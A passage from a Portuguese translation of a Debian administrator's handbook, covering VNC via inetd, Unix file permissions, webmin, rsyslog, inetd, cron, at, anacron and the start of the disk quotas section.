“xdmcp” do /etc/gdm3/daemon.conf), e finalmente, iniciar o servidor VNC com inetd para
que a sessão seja iniciada automaticamente quando o usuário tentar fazer o login. Por exemplo,
você pode adicionar essa linha ao /etc/inetd.conf:
5950 stream tcp nowait nobody.tty /usr/bin/Xvnc Xvnc -inetd -query localhost -

å once -geometry 1024x768 -depth 16 securitytypes=none

Redirecionando as conexões de entrada para o gerenciador de tela resolve o problema de au-
tenticação, porque apenas usuários com contas locais irão passar pela tela de login do gdm3 (ou
os equivalentes kdm, xdm, etc.). Como essa operação permite múltiplos logins simultâneos sem
qualquer problema (sendo o servidor suficientemente poderoso), ele pode ser usado até para
fornecer um ambiente de trabalho completo para usuários móveis (ou para menos poderosos
sistema de ambiente de trabalho, configurado como ’thin clients’). Os usuários simplesmente
fazem o login na tela do servidor com vncviewer server:50, porque a porta usada é a 5950.

9.3. Gerenciando Direitos

O Linux é definitivamente um sistema multi-usuário, então é necessário prover um sistema de
permissões para controlar um conjunto de operações autorizadas em arquivos e diretórios, o
que inclui todos os recursos e dispositivos do sistema (em um sistema Unix, qualquer disposi-
tivo é representado por um arquivo ou diretório). Esse princípio é comum a todos os sistemas
Unix, porém o lembrete é sempre útil, especialmente porquê existem alguns interessantes e
relativamente avançados usos desconhecidos.
Cada arquivo ou diretório têm permissões específicas para três categorias de usuários:

• seu dono (simbolizado por u como em ”user”);
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• o dono do grupo (simbolizado por g como em “group”), representando todos os membros
do grupo;

• os outros (simbolizado por o como em “other”).

Os três tipos de direitos podem ser combinados:

• leitura (simbolizado por r como em “read”);
• escrita (ou modificação, simbolizado por w como em “write”);
• executar (simbolizado por x como em “eXecute”).

No caso de um arquivo,essas permissões são facilmente compreendidas: acesso de leitura per-
mite ler o conteúdo (incluindo copia), acesso a escrita permite alterá-lo, e permissão de executar
permite rodá-lo (o que apenas irá funcionar se ele for um programa).

SEGURANÇA

executáveis setuid e
setgid

Duas permissões em particular são relevantes em relação a arquivos executáveis:
setuid e setgid (simbolizados pela letra “s”). Note que nós, frequentemente fala-
mos de “bit”, já que cada um desses valores boleanos podem ser representados por
0 ou 1. Essas duas permissões permitem que qualquer usuário execute o programa
com os direitos do proprietário ou do grupo, respectivamente. Esse mecanismo
garante acesso a funções que requerem permissões muito restritas, as quais você
geralemente não tem.

Como um programa com setuid root é sistematicamente executado com a identi-
dade de super usuário, é muito importante garantir que ele seja seguro e confiável.
Na verdade, um usuário que conseguisse subvertê-lo a chamar um comando de sua
escolha poderia então representar o usuário root e ter todos os direitos no sistema.

Um diretório é gerenciado de maneira diferente. O acesso a leitura dá o direito de consultar a
lista de suas entradas (arquivos e diretórios), acesso a escrita permite criar e apagar arquivos,
e acesso a execução permite navegar por ele (especialmente para usar o comando cd). Sendo
possível navegar pelo diretório sem ser capaz de lê-lo, dá a permissão de acessar as entradas
dentro dele que são conhecidas por nome, mas não para encontrá-las se você não sabe de sua
existência ou nome exato.

SEGURANÇA

setgid diretório e sticky bit
Obit setgid também é aplicável em diretórios. Qualquer recém-criado item emum
diretório desses é automaticamente atribuído ao grupo do dono do diretório pai, ao
invés de herdar o grupo principal do criador, como de costume. Essa configuração
evita que o usuário tenha que alterar seu grupo principal (com o comando newgrp)
enquanto trabalha em uma árvore de arquivos compartilhada entre vários usuários
do mesmo dedicado grupo.

O “sticky” bit (simbolizado pela letra “t”) é uma permissão que é útil apenas em
diretórios. Ele é especialmente usado para diretórios temporários aonde todos tem
acesso a escrita (como em /tmp/): ele restringe o apagar de arquivos para que
apenas seu dono (ou o dono do diretório pai) possa apagá-lo. Sem isso, qualquer
um poderia apagar arquivos de outros usuários em /tmp/.

Três comandos controlam as permissões associadas a um arquivo:
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• chown usuário arquivomuda o dono do arquivo;

• chgrp grupo arquivo altera o grupo;

• chmod direitos arquivomuda as permissões do arquivo.

Há duas formas de apresentar direitos. Entre eles, a representação simbólica é provavelmente
omais fácil de entender e lembrar. Ela envolve os símbolos das letras mencionadas acima. Você
pode definir os direitos de cada categoria de usuários (u/g/o), definindo-as explicitamente (com
=), adicionando (+), ou subtraindo (-). Assim, as permissões u=rwx,g+rw,o-r fornecemao proprie-
tário a permissão de ler, escrever e executar, acrescenta permissão de ler e escrever para o grupo
proprietário, e remove a permissão de leitura para outros usuários. Direitos não alterados pela
adição ou subtração de tal comando não sofresão alterações. A letra a, for “all”, para ”todos”,
abrange as três categorias de usuários, de modo que a=rx concede todas as três categorias os
mesmos direitos (leitura e execução, mas não de escrita).
A representação numérica (octal) associa cada direito com um valor: 4 para leitura, 2 para gra-
vação, e um para execução. Nós associamos cada combinação de direitos com a soma das figuras.
Cada valor é então atribuído a diferentes categorias de usuários, colocando-os de ponta a ponta
na ordem usual (proprietário, grupo, outros).
Por exemplo, o comando chmod 754 arquivo definirá os seguintes direitos: leitura, escrita e
execução para o proprietário (já que 7 = 4 + 2 + 1); leitura e execução para o grupo (já que 5 = 4 +
1); para os outros somente leitura . O 0 significa que não há direitos; assim chmod 600 arquivo
concede direito de leitura e gravação ao proprietário, e nenhum direito para qualquer outra
pessoa. As combinações certas mais freqüentes são 755 para arquivos executáveis e diretórios,
e 644 para arquivos de dados.
Para representar os direitos especiais, você pode prefixar um quarto dígito para este número de
acordo com o mesmo princípio, onde os bits setuid, setgid e sticky são 4, 2 e 1, respectivamente,
chmod 4754 associará o setuid aos direitos descritos anteriormente.
Observe que o uso da notação octal só permite definir todos os direitos de uma só vez em um
arquivo; você não pode usá-lo para simplesmente adicionar um novo direito, como acesso de lei-
tura para o proprietário do grupo, uma vez que você deve levar em conta os direitos já existentes
e calcular o novo valor numérico correspondente.

DICA

Operação recursiva
Algumas vezes nós temos que mudar os direitos de toda árvore de arquivo. Todos
os comandos acima tem a opção -R para operar recursivamente em sub-diretórios.

A distinção entre diretórios e arquivos às vezes causa problemas com operações
recursivas. Por isso que a letra “X” foi introduzida na representação simbólica dos
direitos. Ela representa o direito de executar, aplicado apenas a diretórios (e não a
arquivos que não tem esse direito). Assim, chmod -R a+X diretório irá, apenas,
adicionar direitos de execução para todas as categorias de usuários (a) para todos os
sub-diretórios e arquivos para os quais ao menos uma categoria de usuário (mesmo
que seja a única proprietária) já tenha direito de execução.
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DICA

Alterando o usuário e o
grupo

Frequentemente você quer mudar o grupo de um arquivo ao mesmo tempo que
você muda o dono. O comando chown tem uma sintaxe especial para isso: chown
usuário:grupo arquivo

APROFUNDANDO

umask

Quando uma aplicação cria um arquivo,ela atribui as permissões indicativas, sa-
bendo que o sistema automaticamente remove certos direitos, devido ao comando
umask. Digite umask em um shell; você verá uma máscara como 0022. Issp é sim-
plesmente uma representação octal dos direitos a serem sistematicamente removi-
dos (neste caso, o direito de escrita para o grupo e outros usuários).

Se você der a ela um novo valor octal, o comando umaskmodifica a máscara. Usado
em um arquivo de inicialização do shell (por exemplo, ~/.bash_profile), ele irá
efetivamente alterar a máscara padrão para suas sessões de trabalho.

9.4. Interfaces Administrativas

Usar uma interface gráfica para administração é interessante em várias circunstâncias. Um ad-
ministrador não necessariamente sabe todos os detalhes de configuração de todos os serviços,
e nem sempre tem tempo para sair pesquisando na documentação sobre o assunto. Uma inter-
face gráfica para administração pode assim acelerar a implantação de umnovo serviço. Ela pode
ainda simplificar a configuração de serviços os quais são difíceis de configurar.
Tal interface é apenas uma auxiliar e não um fim em si própria. Em todos os casos, o admi-
nistrador deve dominar seu comportamento para entender e resolver qualquer problema em
potencial.
Como nenhuma interface é perfeita, você pode ficar tentado a tentar várias soluções. Isto deve
ser evitado o máximo possível, pois ferramentas diferentes são às vezes incompatíveis em seus
métodos. Mesmo se todas elas visam em serem muito flexíveis e tentam adotar o arquivo de
configuração como única referência, elas nem sempre são capazes de integrar alterações exter-
nas.

9.4.1. Administrando por uma Interface Web: webmin

Essa é, sem dúvida, uma das mais bem sucedidas interface de administração. Ela é um sistema
modular de gerenciamento através de um navegador web, cobrindo uma ampla gama de áreas
e ferramentas. Além do mais, ela é internacionalizada e disponível em muitas linguas.
Infelizmente, webmin não é mais parte do Debian. Seu mantenedor Debian — Jaldhar H. Vyas —
removeu os pacotes que ele criou porque ele não tinha mais o tempo necessário para mantê-los
em um nível de qualidade aceitável. Ninguém oficialmente assumiu a tarefa, então a Jessie não
tem o pacote webmin.
Existe, contudo, um pacote não oficial distribuído pelo site web webmin.com. Ao contrário dos
pacotes Debian originais, esse pacote é monolítico; todos os seus módulos de configuração são
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instalados e ativados por padrão, mesmo que o serviço correspondente não esteja instalado na
máquina.

SEGURANÇA

Alterando a senha do root
No primeiro login, a identificação é conduzida pelo nome de usuário root e sua
senha usual. É recomendado alterar a senha usada para webmin assim que possível,
para que, caso ela seja comprometida, a senha root do servidor não seja envolvida,
mesmo que isso confira direitos administrativos importantes à máquina.

Tenha cuidado! Como o webmin tem tantos recursos, um usuário malicioso que
tenha acesso a ele pode comprometer a segurança de todo o sistema. De maneira
geral, interfaces deste tipo não são recomendadas para sistemas importantes com
fortes restrições de segurança (firewall, servidores sensíveis, etc.).

Webmin é usado através de uma interfaceweb, mas ele não requer que o Apache esteja instalado.
Essencialmente, esse software tem seu própriomini servidor web integrado. Esse servidor ouve,
por padrão, na porta 10000 e aceita conexões HTTP seguras.
Módulos inclusos cobrem uma grande variedade de serviços, entre eles:

• Todos os serviços de base: criação de usuários e grupos, gerenciamento dos arquivos do
crontab, scripts init, leitura de logs, etc.

• bind: configuração de servidor DNS (nome de serviço);
• postfix: configuração de servidor SMTP (e-mail);
• inetd: configuração do super servidor inetd;
• quota: gerenciamento de cota de usuário;
• dhcpd: configuração do servidor DHCP;
• proftpd: configuração do servidor FTP;
• samba: configuração do servidor de arquivos Samba;
• software: instalação ou remoção de programas dos pacotes Debian e atualizações de sis-
tema.

A interface de administração está disponível em um navegador web em https://localhost:10000.
Esteja atento! Nem todos os módulos estão usáveis em um primeiro momento. Às vezes eles
precisam ser configurados especificando a localização dos arquivos de configuração correspon-
dentes e alguns arquivos executáveis (programa). Frequentemente o sistema irá, educadamente,
fazer perguntas a você quando falhar em ativar um módulo requisitado.

ALTERNATIVA

centro de controle
GNOME

O projeto GNOME também provê múltiplas interfaces de configuração que geral-
mente são acessíveis via a entrada “Configurações” nomenu do usuário a direita no
alto. O gnome-control-center é o programa principal que traz todas elas juntas,
mas muitas das ferramentas de configuração do sistema como um todo são efetiva-
mente fornecidas por outros pacotes (accountsservice, system-config-printer, etc.).
Embora fáceis de usar, essas aplicações cobrem apenas um número limitado de ser-
viços básicos: gerenciamento de usuário, configuração do horário, configuração da
rede, configuração de impressora, e assim por diante.
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9.4.2. Configurando Pacotes: debconf

Muitos pacotes são configurados automaticamente após algumas perguntas serem feitas du-
rante a instalação, através da ferramenta Debconf. Esses pacotes podem ser reconfigurados
rodando dpkg-reconfigure pacote.
Na maioria dos casos, essas configurações são bem simples; apenas algumas variáveis importan-
tes do arquivo de configuração são alteradas. Essas variáveis são geralmente agrupadas entre
duas linhas de “demarcação” para que a reconfiguração do pacote apenas tenha impacto na
área selecionada. Em outros casos, a reconfiguração não irá alterar nada se o script detectar
uma modificação manual no arquivo de configuração, para preservar essas intervenções huma-
nas (porque o script não pode garantir que suas próprias modificações não irão bagunçar as
configurações existentes).

POLÍTICA DEBIAN

Preservando alterações
A Política Debian estipula expressamente que tudo deve ser feito para preservar
alterações manuais feitas nos arquivos de configuração, então mais e mais scripts
tomam precauções na edição de arquivos de configuração. O princípio geral é sim-
ples: o script apenas faz alterações se ele sabe o status do arquivo de configuração,
o qual é verificado pela comparação do checksum do arquivo em relação ao último
arquivo automaticamente gerado. Se eles forem iguais, o script é autorizado a al-
terar o arquivo de configuração. Senão, ele determina que o arquivo foi alterado e
pergunta que ação ele deve executar (instalar o novo arquivo, preservar o arquivo
antigo, ou tentar integrar as novas alterações no arquivo existente). Esse princípio
de precaução tem sido exclusivo do Debian, mas outras distribuições tem, gradual-
mente, começado a adotá-lo.

O programa ucf (do pacote Debian de mesmo nome) pode ser utilizado para im-
plementar este comportamento.

9.5. syslog Eventos de Sistema

9.5.1. Princípio e Mecanismo

O daemon rsyslogd é responsável por coletar mensagens de serviço vindas de aplicações e do
núcleo, e então despachá-las para arquivos de log (usualmente armazenados no diretório /var/
log/). Ele obedece o arquivo de configuração /etc/rsyslog.conf.
Cada mensagem de log é associada com um subsistema de aplicação (chamado “facility” na do-
cumentação):

• auth e authpriv: para autenticação;
• cron: vem de serviços de agendamento de tarefas, cron e atd;
• daemon: afeta um daemon sem nenhuma classificação especial (DNS, NTP, etc.);
• ftp: relacionado ao servidor FTP;
• kern: mensagem vinda do núcleo;
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• lpr: vem do subsistema de impressão;
• mail: vem do subsistema de e-mail;
• news: mensagem do subsistema Usenet (especialmente do NNTP — Network News Trans-
fer Protocol — servidor que gerencia newsgroups);

• syslog: mensagens do próprio servidor syslogd;
• user: mensagens do usuário (genérico);
• uucp: mensagens do servidor UUCP (Unix to Unix Copy Program, um antigo protocolo
notavelmente usado para distribuir mensagens de e-mail);

• local0 até local7: reservado para uso local.

Cadamensagem está associada com umnível de prioridade. Está é a lista em ordem decrescente:

• emerg: “Socorro!” Existe uma emergência, o sistema provavelmente não está usável.
• alert: se apresse, qualquer atraso pode ser perigoso, é preciso agir imediatamente;
• crit: as condições são críticas;
• err: erro;
• warn: aviso (erro potencial);
• notice: as condições estão normais, mas a mensagem é importante;
• info: mensagem informativa;
• debug: mensagem de depuração.

9.5.2. O Arquivo de Configuração

A sintaxe do arquivo /etc/rsyslog.conf é detalhada na página de manual rsyslog.conf(5),
mas tambémexiste documentação emHTMLdisponível no pacote rsyslog-doc (/usr/share/doc/
rsyslog-doc/html/index.html). O principal princípio e escrever os pares “selector” e “ac-
tion”. O ”selector” define todas as mensagens relevantes, e o ”actions” descreve como lidar
com elas.

Sintaxe do Seletor

O seletor é uma lista separada por ponto e vírgula de pares de subsistema.prioridade (exemplo:
auth.notice;mail.info). Um asterisco pode representar todos os subsistemas ou todas as priorida-
des (exemplos: *.alert ou mail.*). Vários subsistemas podem ser agrupados, separando-os com
uma vígula (exemplo: auth,mail.info). A prioridade indicada também cobre mensagens de prio-
ridade igual oumais alta; assim auth.alert indica asmensagens do subsistema auth de prioridade
alert ou emerg. Prefixado com um ponto de exclamação (!), ele indica o oposto, em outras pala-
vras as prioridades estritamente baixas; auth.!notice, assim, indica mensagens emitidas a partir
de auth, com prioridade info ou debug. Prefixada com um sinal de igual (=), ele corresponde
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precisamente e apenas a prioridade indicada (auth.=notice apenas se refere a mensagens vindas
de auth com prioridade notice).
Cada elemento da lista no seletor sobrescreve elementos prévios. Assim é possível restringir um
conjunto ou excluir certos elementos dele. Por exemplo, kern.info;kern.!err se refere a mensa-
gens vindas do núcleo com prioridade entre info ewarn. A prioridade none indica uma conjunto
vazia (semprioridades), e pode servir para excluir um subsistema de um conjunto demensagens.
Assim, *.crit;kern.none indica todas as mensagens de prioridade igual ou maior que crit não vin-
das do núcleo.

Sintaxe das Ações

DE VOLTA AO BÁSICO

O pipe nomeado, um pipe
persistente

Um pipe nomeado é um tipo particular de arquivo que opera como um pipe tradi-
cional (o pipe que você faz com o símbolo “|” na linha de comando), mas via um
arquivo. Esse mecanismo tem a vantagem de ser capaz de relacionar dois processos
não relacionados. Qualquer coisa escrita em um pipe nomeado bloqueia o processo
que escreve enquanto o outro processo tenta ler os dados escritos. Esse segundo
processo lê os dados escritos pelo primeiro, que pode então retomar a execução.

Tal arquivo é criado com o comando mkfifo.

As várias ações possíveis são:

• adiciona a mensagem a um arquivo (exemplo: /var/log/messages);

• enviar a mensagem para um servidor remoto syslog (exemplo: @log.falcot.com);

• envia a mensagem para um pipe nomeado existente (example: |/dev/xconsole);

• envia a mensagem para um ou mais usuários, se eles estiverem logados (example:
root,rhertzog);

• enviar a mensagem para todos os usuário logados (exemplo: *);

• escrever a mensagem em um console texto (exemplo: /dev/tty8).

SEGURANÇA

Encaminhamento de logs
É uma boa ideia gravar os logs mais importantes em umamáquina separada (talvez
dedicada a esse propósito), já que isso irá prevenir que qualquer possível invasor
remova rastros de sua invasão (a menos, claro, que ele também comprometa esse
outro servidor). Além do mais, caso aconteça um problema maior (como uma que-
bra do núcleo), você terá os logs disponíveis na outra máquina, o que aumenta suas
chances de determinar a sequencia de eventos que causou a quebra.

Para aceitar mensagens de log enviadas por outras máquinas, você tem que recon-
figurar o rsyslog: na prática, é suficiente ativar as entradas ”ready-for-use entries”
em /etc/rsyslog.conf ($ModLoad imudp e $UDPServerRun 514).
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9.6. O super servidor inetd

Inetd (geralemente chamado de “Internet super-server”) é um servidor de servidores. Ele exe-
cuta servidores, raramente usados, sob demanda, para que eles não tenham que rodar continu-
amente.
O arquivo /etc/inetd.conf lista esses servidores e suas portas habituais. O comando inetd
ouve em todas elas; quando ele detecta uma conexão em qualquer uma delas, ele executa o
programa servidor correspondente.

POLÍTICA DEBIAN

Registrar um servidor em
inetd.conf

Pacotes frequentemente querem registar um novo servidor no arquivo /etc/inetd.
conf, mas a Política Debian proíbe qualquer pacote de modificar um arquivo de
configuração que não lhe pertença. É por isso que o script update-inetd (do pacote
de mesmo nome) foi criado: ele gerencia o arquivo de configuração, assim outros
pacotes podem usá-lo para registrar um novo servidor na configuração do super-
servidor.

Cada linha significativa do arquivo /etc/inetd.conf descreve um servidor através de sete cam-
pos (separados por espaços):

• O número da porta TCP ou UDP, ou o nome do serviço (o qual é mapeado para o número
da porta padrão com a informação contida no arquivo /etc/services).

• O tipo de soquete: stream para conexão TCP, dgram para datagrams UDP.
• O protocolo: tcp ou udp.
• As opções: dois valores possíveis: wait ou nowait, para dizer ao inetd quando ele deve
esperar ou não pelo fim do processo lançado antes de aceitar outra conexão. Para cone-
xões TCP, facilmente multiplicáveis (multiplexable) , você geralmente pode usar nowait.
Para programas respondendo sobre UDP, você deve usar nowait apenas se o servidor é
capaz de gerenciar várias conexões em paralelo. Você pode usar um ponto como sufixo
nesse campo, seguido pelo númeromáximo de conexões autorizadas por minuto (o limite
padrão é 256).

• O nome de usuário do usuário cuja identidade o servidor executará.
• O caminho completo para o programa servidor a ser executado.
• Os argumentos: esta é uma lista completa dos argumentos do programa, incluindo seu
próprio nome (argv[0] em C).

O exemplo a seguir ilustra os casos mais comuns:

Exemplo 9.1 Excerto do /etc/inetd.conf

talk dgram udp wait nobody.tty /usr/sbin/in.talkd in.talkd
finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd
ident stream tcp nowait nobody /usr/sbin/identd identd -i
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O programa tcpd é frequentemente usado no arquivo /etc/inetd.conf. Ele permite limitar
conexões de entrada aplicando regras de controle de acesso, documentadas na página demanual
hosts_access(5), e que são configuradasnos arquivos/etc/hosts.allow e/etc/hosts.deny.
Uma vez que tenha sido determinado que a conexão está autorizada, o tcpd executa o servidor
real (comoo in.fingerdnonosso exemplo). Vale apena notar que o tcpd conta comonome sob
o qual ele foi invocado (isto é, o primeiro argumento, argv[0]) para identificar o programa real
a rodar. Então você não deveria iniciar a lista de argumentos com o tcpd mas com o programa
que tem que ser envolto.

COMUNIDADE

Wietse Venema
Wietse Venema, cuja perícia em segurança fez dele um renomado programador, é o
autor do programa tcpd. Ele também é o principal criador do Postfix, o servidor de
email modular (SMTP, Simple Mail Transfer Protocol), desenvolvido para ser mais
seguro e mais confiável que o sendmail, que tem uma longa lista de vulnerabilida-
des de segurança.

ALTERNATIVA

Outros comandos inetd
Enquanto o Debian instala o openbsd-inetd por padrão, não existe falta de alter-
nativas: nós podemos mencionar inetutils-inetd, micro-inetd, rlinetd e xinetd.

Essa última encarnação do super-servidor oferece possibilidades muito interessan-
tes. Mais notavelmente, sua configuração pode ser dividida em vários arquivos
(armazenados, claro, no diretório /etc/xinetd.d/), o que pode tonar a vida do
administrador mais fácil.

Por último, mas não menos importante, é até possível emular o comportamento do
inetd com o mecanismo de ativação de ”socket” do systemd (veja Seção 9.1.1, “O
sistema init systemd” [193]).

9.7. Agendando Tarefas com cron e atd

O cron é o daemon responsável por executar comandos agendados e recorrentes (todo dia, toda
semana, etc.); o atd é o que lida com comandos a serem executados uma única vez, mas em um
momento específico no futuro.
Em um sistema Unix, muitas tarefas são agendadas para execução regular:

• rotacionando os logs;

• atualizando o banco de dados para o programa locate;

• cópias de segurança;

• scripts de manutenção (como os de limpeza de arquivos temporários).

Por padrão, todos os usuários podem agendar a execução de tarefas. Cada usuário tem, assim,
seu próprio crontab no qual pode gravar comandos agendados. Ele pode ser editado rodando
crontab -e (seu conteúdo é armazenado no arquivo /var/spool/cron/crontabs/usuário).
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SEGURANÇA

Restringindo cron ou atd

Você pode restringir o acesso ao cron criando um arquivo explícito para autori-
zação (whitelist) em /etc/cron.allow, no qual você indica apenas usuários com
autorização para agendar comandos. Todos os outros serão automaticamente pri-
vados desse recurso. Reciprocamente, para bloquear apenas um ou dois encrencei-
ros, você pode botar seus nomes de usuário em um arquivo explícito para proibição
(blacklist), /etc/cron.deny. Esse mesmo recurso está disponível para o atd, com
os arquivos /etc/at.allow e /etc/at.deny.

O usuário root tem seu pŕoprio crontab, mas também pode usar o arquivo /etc/crontab, ou
escrever arquivos crontab adicionais no diretório /etc/cron.d. Essas duas últimas soluções tem
a vantagem de ser capaz de especificar a identidade do usuário a usar quando o comando for
executado.
O pacote cron incluí por padrão alguns comandos que executam:

• programas no diretório /etc/cron.hourly/ uma vez por hora;
• programas no /etc/cron.daily/ uma vez por dia;
• programas no /etc/cron.weekly/ uma vez por semana;
• programas no /etc/cron.monthly/ uma vez por mês.

Muitos pacotes Debian contam com esse serviço: colocando scripts de manutenção nesses dire-
tórios, eles garantem a excelente operação de seus serviços.

9.7.1. Formato do Arquivo crontab

Dica

Abreviações para o cron

O cron reconhece algumas abreviações que substituem os cinco primeiros campos
de uma entrada no crontab. Elas correspondem as opções de agendamento mais
clássicas:

• @yearly: uma vez por ano (Janeiro 1, às 00:00);

• @monthly: um vez por mês (o primeiro dia do mês, às 00:00);

• @weekly: uma vez por semana (Domingo às 00:00);

• @daily: uma vez por dia (às 00:00);

• @hourly: uma vez por hora (no início de cada hora).

CASO ESPECIAL

cron e o horário de verão
No Debian, o cron leva em conta as alterações de horário (o horário de verão, ou
de fato qualquer alteração significante no horário local) da melhor maneira que
ele pode. Assim, os comandos que deveriam ser executados durante a hora que
nunca existiu (por exemplo, tarefas agendadas para 2:30 am durante a mudança de
horário na Primavera na França, já que às 2:00 am o relógio pula direto para às 3:00
am) são executadas logo após a alteração de horário (sendo então por volta das 3:00
am DST). Por outro lado, no outono, quando comandos seriam executados várias
vezes (2:30 am DST, depois uma hora mais tarde às 2:30 am horário padrão, já que
às 3:00 am DST o relógio volta para 2:00 am) são executados apenas uma vez.
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Tenha cuidado, contudo, se a ordem na qual as diferentes tarefas agendadas e o
”delay” entre suas respectivas execuções tem que ser levada em conta, você deve
checar a compatibilidade desses constrangimentos com o comportamento do cron;
se necessário, você pode preparar um agendamento especial para as duas noites
problemáticas por ano.

Cada significante linha de um crontab descreve um comando agendadocom os seguintes seis (ou
sete) campos:

• o valor para o minuto (números de 0 à 59);
• o valor para a hora (de 0 à 23);
• o valor para o dia do mês (de 1 à 31);
• o valor para o mês (de 1 à 12);
• o valor para o dia da semana (a partir de 0 até 7, 1 correspondendo a Segunda, Domingo
sendo representado tanto por 0 quanto por 7; ainda é possível usar as três primeiras letras
do nome do dia da semana em Inglês, como Sun, Mon, etc.);

• O nome de usuário sob cuja identidade o comando deve ser executado (no arquivo /etc/
crontab e nos fragmentos localizados em /etc/cron.d/, mas não nos arquivos crontab
do próprio usuário);

• o comando a ser executado (quando as condições definidas nas primeiras cinco colunas
estão satisfeitas).

Todos esses detalhes estão documentados na página de manual crontab(5).
Cada valor pode ser expresso na forma de uma lista de valores possíveis (separados por vírgulas).
A sintaxe a-b descreve o intervalo de todos os valores entre a e b. A sintaxe a-b/c descreve o
intervalo com um incremento de c (exemplo: 0-10/2 significa 0,2,4,6,8,10). Um asterisco * é um
coringa, representando todos os valores possíveis.

Exemplo 9.2 Arquivo de exemplo crontab

#Format
#min hour day mon dow command

# Download data every night at 7:25 pm
25 19 * * * $HOME/bin/get.pl

# 8:00 am, on weekdays (Monday through Friday)
00 08 * * 1-5 $HOME/bin/dosomething

# Restart the IRC proxy after each reboot
@reboot /usr/bin/dircproxy
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DICA

Executando um comando
na inicialização

Para executar um comando apenas um vez, logo após a inicialização do computador,
você pode usar a macro @reboot (um simples reinicio do cron não dispara um
comando agendado com @reboot). Essamacro substitui os cinco primeiros campos
de uma entrada em crontab.

ALTERNATIVA

Emulando o cron com o
systemd

É possível emular parte do comportamento do cron com o mecanismo timer do
systemd (veja Seção 9.1.1, “O sistema init systemd” [193]).

9.7.2. Usando o Comando at

O at executa um comando em um momento específico no futuro. Ele recebe o horário e data
desejados como parâmetros de linha de comando, e o comando a ser executado em sua saída
padrão. O comando será executado como se estivesse sido feito no shell corrente. O at até toma
o cuidado de reter o ambiente corrente, para poder reproduzir as mesmas condições quando ele
executa o comando. O horário é indicado pelas seguintes convenções usuais: 16:12 ou 4:12pm
representa 4:12 pm. A data pode ser especificada em vários formatos Europeus e Ocidentais,
incluindo DD.MM.YY (27.07.15 assim representando 27 July 2015), YYYY-MM-DD (essa mesma
data sendo expressa como 2015-07-27),MM/DD/[CC]YY (ie., 12/25/15 ou 12/25/2015 será Dezem-
bro 25, 2015), ou simplesmente MMDD[CC]YY (logo 122515 ou 12252015 irá, do mesmo modo,
representar Dezembro 25, 2015). Sem isso, o comando será executado assim que o relógio alcan-
çar o horário indicado (no mesmo dia, ou amanhã se o horário já tiver passado no mesmo dia).
Você também pode simplesmente escrever “today” ou “tomorrow”, o que é auto-explicativo.

$ at 09:00 27.07.15 <<END
> echo ”Don’t forget to wish a Happy Birthday to Raphaël!” \
> | mail lolando@debian.org
> END
warning: commands will be executed using /bin/sh
job 31 at Mon Jul 27 09:00:00 2015

Uma sintaxe alternativa adia a execução por uma dada duração: at now + número período. O
período pode serminutos, horas, dias, ou semanas. O número apenas indica o número de unidades
ditas que tem que ocorrer antes da execução do comando.
Para cancelar um tarefa agendada pelo cron, apenas rode crontab -e e apague a linha corres-
pondente no arquivo crontab. Para tarefas do at, também é fácil: rode atrm número-da-tarefa.
O número da tarefa é indicado pelo comando atno momento que você vez o agendamento, mas
você pode obter ele novamente com o comando atq, o qual retorna a lista corrente de tarefas
agendadas.
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9.8. Agendando Tarefas Assíncronas: anacron

O anacron é o daemon que completa o cron para computadores que não estão ligados o tempo
todo. Como tarefas regulares geralmente são agendadas para o meio da noite, elas nunca se-
rão executadas se o computador estiver desligado nesse momento. O propósito do anacron é
executá-las, levando em consideração os períodos nos quais o computador não estiver traba-
lhando.
Por favor note que o anacron irá, frequentemente, executar tais atividades poucosminutos após
a inicialização da máquina, o que pode deixar o computador menos responsivo. É por isso que
as tarefas no arquivo /etc/anacrontab são iniciadas com o comando nice, o qual reduz suas
prioridades de execução, e assim, limita seus impactos no resto do sistema. Cuidado, o formato
do seu arquivo não é o mesmo do /etc/crontab; se você tem necessidades particulares com
relação ao anacron, veja a página de manual anacrontab(5).

DE VOLTA AO BÁSICO

Prioridades e nice

Os sistemas Unix (e portanto o Linux) são sistemas multitarefa e multiusuário. Re-
almente, vários processos podem rodar em paralelo, e serem pertencentes a dife-
rentes usuários: o núcleo faz a mediação do acesso aos recursos entre diferentes
processos. Como parte de sua tarefa, ele tem o conceito de prioridade, o qual per-
mite a ele favorecer certos processos em detrimento de outros, de acordo com a
necessidade. Quando você sabe que um processo pode rodar em baixa prioridade,
você pode indicar isso rodando ele com nice programa. O programa irã então
ter uma parcela menor da CPU, e irá ter um impacto menor nos outros processos
em andamento. Claro que, se nenhum outro processo precisar ser executado, o
programa não será artificialmente retido.

O nice funciona com níveis de “niceness”: os níveis positivos (de 1 até 19) progres-
sivamente baixa a prioridade, enquanto que os níveis negativos (de -1 até -20) irão
incrementá-la — mas apenas o root pode usar esses níveis negativos. Salvo indi-
cado ao contrário (veja a página de manual nice(1)), o nice incrementa o nível
corrente por 10.

Se você descobrir que uma tarefa que esteja em execução deveria ter sido iniciada
com o nice, não é tarde de mais para consertar isso; o comando renice altera a
prioridade de um processo em andamento, em ambas as direções (porém reduzir o
“niceness” de um processo é reservado ao usuário root).

A instalação do pacote anacron desativa a execução pelo cron dos scripts nos diretórios /etc/
cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/, e /etc/cron.monthly/. Isso evita a
dupla execução pelo anacron e cron. O comando cron continua ativo e continuará a lidar com
outras tarefas agendadas (especialmente as agendadas pelos usuários).

9.9. Cotas

O sistema de quotas permite limitar o espaço em disco alocado para um usuário ou grupo de
usuários. Para configurá-lo, você tem que ter um núcleo habilitado para isso (compilado com a
opção CONFIG_QUOTA) — como é o caso dos núcleos no Debian. O software de gerenciamento de
quotas é encontrado no pacote Debian quota.

221Capítulo 9 — Serviços Unix



Para ativar ”quota” no sistema de arquivo, você tem que indicar as opções usrquota e grpquota
no /etc/fstab para quotas de usuário e grupo, respectivamente. Reiniciar o computador irá en-
tão atualizar as quotas na ausência de atividade de disco (uma condição necessária para correta
contabilização de espaço de disco já utilizado).
O comando edquota usuário (ou edquota -g grupo) permite que você altere os limites en-
quanto examina o atual uso de espaço do disco.

INDO ALÉM

Definindo quotas com
um script

O programa setquota pode ser usado em um script para alterar automaticamente
muitas quotas. Sua página de manual setquota(8) detalha a sintaxe a usar.

O sistema de cotas permite você definir quatro limites:

• dois limites (chamados “soft” e “hard”) referem-se ao número de blocos consumidos. Se
o sistema de arquivos foi criado com tamanho de bloco de 1 kibibyte, um bloco contém
1024 bytes do mesmo arquivo. Logo, blocos não saturados induzem a perda de espaço
em disco. Uma quota de 100 blocos, que teoricamente permite armazenagem de 102,400
